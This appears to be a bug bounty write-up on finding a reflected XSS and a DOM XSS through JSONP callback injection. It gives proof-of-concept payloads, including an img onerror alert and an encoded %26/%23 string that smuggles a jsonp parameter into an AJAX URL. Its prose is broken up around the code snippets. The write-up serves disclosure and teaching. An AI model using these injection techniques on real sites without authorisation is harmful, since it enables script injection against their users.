Hello 👋
This is my first and last Bug Bounty Writeup this year. 😀
I am sharing with you my latest XSS finding, which I’ve found 2 weeks ago.
This was the fastest and a bit unusual flow that I normally do when I search for XSS.
So let’s dive in…
name
a param that was vulnerable to Reflected XSS injection.example.com/profile?name=<img+src=1+onerror=alert(1337)>
/profile
in all JS files to check for another vulnerable param, but found another endpoint:example.com/services
example.com/services?id=123&page=Demo
qwe'"<X</
to the ID param and started to check if anything is reflected somewhere on the webpage’s source code.example.com/services?id=123qwe'"<X</
lib.com/find?id=123qwe&jsonp=cb12
alert
function with a custom parameteralert(1337);
%
sign to craft an encoded payload in order to add custom parameters to AJAX URL.example.com/services?id=1%26jsonp=alert(1337);%23
%26
to & and %23
to #. Everything that is behind the # (hashtag) symbol is ignored by the browser. The final AJAX call looked like this:lib.com/find?id=1&jsonp=alert(1337);#&jsonp=cb12
1337
. This confirmed the DOM XSS vulnerability existence and I have received a $350 bounty, with an additional $50 for a retest of an old report.Thanks for reading!
P.S. I’m working on a book for beginners in Bug Bounty world. This book will include Networking, HTML & JavaScript basics, a short description of widespread vulnerabilities, and an in-depth analysis of XSS vulnerability with examples, tips, tools, and tricks. At the end of the book, I will teach you how to create and deploy your own NodeJS service for testing Blind-XSS / SSRF vulnerabilities.
P.S.S. Stay tuned for updates and don’t forget to subscribe at least somewhere so you won’t miss any info regarding the book.
Happy Holidays & Happy New Year!